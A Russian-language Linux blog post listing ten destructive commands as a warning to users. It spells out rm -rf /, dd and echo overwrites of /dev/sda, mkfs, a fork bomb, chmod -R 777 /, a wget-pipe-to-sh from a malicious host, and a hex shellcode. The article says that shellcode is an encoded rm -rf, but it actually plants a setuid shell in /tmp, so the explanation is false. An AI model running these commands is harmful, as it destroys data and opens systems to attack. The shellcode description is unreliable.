Найти в Дзене
Linux Заметки

10 Деструктивных команд Linux, которые вы никогда не должны запускать

Оглавление

Какие команды Linux наиболее опасны?

Мне задавали этот вопрос много раз, и я избегал отвечать на него, потому что не существует определенного списка опасных команд Linux.

У вас есть инструменты, которые позволяют вам контролировать и изменять каждый аспект вашей операционной системы. Я не пытаюсь вас напугать, но если вы не знакомы с командами и инструментами, вы можете довольно легко испортить свою систему.

Представьте себе сценарий жизни маленького ребенка в семье. Существует множество способов, которыми ребенок может навредить себе. Но означает ли это, что ребенка нельзя выпускать за пределы кроватки?

Родители устанавливают границы и направляют ребенка. Не подходи к огню. Не засовывай пальцы в розетки. По мере того как ребенок растет и набирается опыта, он может включать плиту, и подключать кабели питания.

Точно так же, если вы знаете о нескольких известных рискованных командах, вы можете избежать попадания в ловушки троллей, пытающихся обманом заставить вас выполнить команды и испортить вашу систему.

По мере того, как вы приобретаете опыт и узнаете значение и способы использования команд и инструментов, будет меньше шансов разрушить вашу систему глупыми и сложными командами.

1. rm -rf /*

Это, вероятно, самая печально известная команда, циркулирующая во всех социальных сетях. Вы часто встретите троллей, комментирующих это в различных обсуждениях.

Команда rm используется для удаления файлов в / каталоге. Флаги -r и -f используются для обозначения рекурсивного удаления всех файлов внутри указанного каталога. Без прав суперпользователя, эта команда не причинит никакого вреда.

Выполнение команды sudo rm -rf / также не создаст никаких проблем, поскольку большинство дистрибутивов предоставляют отказоустойчивую опцию. Вам нужно указать –no-preserve-root, чтобы фактически запустить эту команду.

sudo rm -rf / --no-preserve-root

Однако более простой версией этого может быть:

sudo rm -rf /*

Она начнет рекурсивное удаление всех файлов в корневом каталоге, и в определенный момент ваша система зависнет с сообщением “Ошибка удаления файла”. После перезагрузки вы будете отправлены в приглашение grub-rescue.

2. Перезапишите свой раздел

Если вы знакомы с файловыми системами, вы, вероятно, знаете, что такое /dev/sda . Это (обычно) раздел вашего диска. > Оператор используется для записи выходных данных предыдущей команды в указанное местоположение.

Как только вы запустите любую команду и запишите ее в /dev/sda, скажем:

echo "Hello" > /dev/sda

Это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, на строку “Hello”.

3. Переместите все в пустоту

Внутри каждой системы Linux есть пустота. И эта пустота равна /dev/null .

Все, что вы добавляете в эту область, теряется навсегда. Кроме того, она сообщает об успешном процессе записи после удаления данных, что является основной причиной его деструктивности

mv /home/user/* /dev/null

Команда mv используется для перемещения или переименования файлов / каталогов. В приведенной выше команде вы перемещаете все файлы внутри домашнего каталога в пустоту. Пока корневая система не будет уничтожена, все ваши личные данные будут потеряны.

4. Отформатируйте жесткий диск

mkfs - это утилита командной строки, используемая для форматирования дисков и разделов. Это очень удобный инструмент для создания разделов для различных задач. Но та же команда может отформатировать и ваш диск. Форматирование вашего диска означает удаление всех файлов, необходимых для загрузки системы.

mkfs.ext3 /dev/sda

Команда выполняет свою работу, и в итоге вы получаете испорченную систему, не подлежащую восстановлению.

5. Fork бомба

Это симпатичная случайная комбинация специальных символов достаточна мощно, чтобы заморозить работающую систему, исчерпав системные ресурсы.

:(){:|:&};:

& – фоновый оператор оболочки. Он сообщает оболочке, чтобы поместить команду в фоновый режим. Здесь он определяет функцию с именем ‘:‘, которая вызывает себя дважды, один раз на переднем плане и один раз в фоновом режиме. Этот процесс продолжает выполняться снова и снова, пока система не зависнет.

Вы будете вынуждены перезагрузить систему, что не так плохо, по сравнению с другими командами в этом списке.

6. Перезаписать важные файлы конфигурации

Хотя это не команда сама по себе, это скорее мера предосторожности.

Как упоминалось выше, оператор “>” используется для записи в файл. Он просто отбрасывает все, что уже присутствует в файле, и записывает в него новые данные.

command > config_filename

Теперь, если вы используете какой-то важный файл конфигурации в качестве места для записи данных, он заменит содержимое, оставив сломанную систему.

7. Замените раздел мусорными данными

/dev/random - это одна из команд в Linux, которая может создавать мусорные данные. Объедините это с командой dd, и вы получите молот, который разнесет ваш раздел.

dd if=/dev/random of=/dev/sda

команда dd используется как низкоуровневый инструмент копирования. Здесь он берет случайные данные /dev/random и заменяет раздел /dev/sda мусором.

Аналогичный эффект получается с:

cat /dev/random > filename

Здесь берутся данные из /dev/random и заполняют файл. Если не завершить с помощью Ctrl + C, файл может занимать значительный объем пространства, что может иметь катастрофические последствия для системы.

8. Покажите свою систему всем

В Linux все является файлом, и у каждого файла есть определенные разрешения.

Вы можете просмотреть разрешения с помощью ls -l. Корневая файловая система недоступна другим пользователям без привилегий. Вы можете перевернуть эту систему с ног на голову одной командой.

chmod -R 777 /

Приведенная выше команда предоставляет доступ ко всем файлам в корневом разделе. Это означает, что все, кто использует систему, имеют права на чтение, запись и выполнение. Это плохо для вашей системы.

9. Загружайте и запускайте вредоносный контент

Как вы устанавливаете программное обеспечение в Linux? Вы используете официальный менеджер пакетов или готовые к использованию пакеты как Deb / RPM, Snap. Flatpak и т. Д.

Однако некоторые программы не упакованы, и их разработчики предоставляют сценарии оболочки для загрузки и запуска. Возьмем, к примеру, homebrew(Homebrew, также известный как Brew, - это менеджер пакетов командной строки, созданный в основном для macOS).

Вы загружаете файл оболочки и запускаете его от имени root для установки программного обеспечения в вашей системе. Вы видите проблему с этим?

Хотя он работает с официальным программным обеспечением, таким как Homebrew, вам следует дважды проверить содержимое загружаемого вами сценария оболочки, прежде чем запускать его напрямую, как это:

wget http://malicious_source -O- | sh

Такие команды будут загружать и запускать вредоносные скрипты в вашей системе, что может подорвать безопасность вашей системы.

10. Замаскированные команды

Есть много способов запускать команды в терминале Linux. Одним из таких способов являются команды с шестнадцатеричным кодом.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”

“\x6e\x2f\x73\x68\x00\x2d\x63\x00”

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

Хотя это выглядит замысловато, это закодированная версия rm -rf. Что дает тот же эффект, что и выполнение предыдущей команды. Поэтому, копируя и вставляя такие причудливые команды из интернета, будьте осторожны.

Подведение итогов

Существует известный вычислительный термин PEBKAC; problem exists between keyboard and chair “проблема существует между клавиатурой и креслом”.

Потому что, в конце концов, пользователь (вы) должен убедиться, что не разрушает систему, слепо выполняя любую опасную команду.

Задача UNIX не в том, чтобы помешать вам выстрелить в ногу. Если вы решите это сделать, то задача UNIX - доставить мистера Пулю мистеру Футу самым эффективным способом, который он знает.

И это в равной степени относится к Linux. Вы получаете полный контроль над своей операционной системой. То, что вы решите делать, полностью зависит от вас.

Попытайтесь понять команды, которые вы собираетесь запустить.

Сохраняйте резервную копию своих системных настроек с помощью Timeshift

Создайте резервную копию личных данных (домашний каталог) с помощью DejaDup

Как я уже сказал, не существует фиксированного списка опасных команд Linux. К этому списку можно добавить еще много чего, и ему просто нет конца.

Я надеюсь, что эти несколько советов помогут вам оставаться в безопасности с Linux. Дайте мне знать, если у вас есть предложения в разделе комментариев.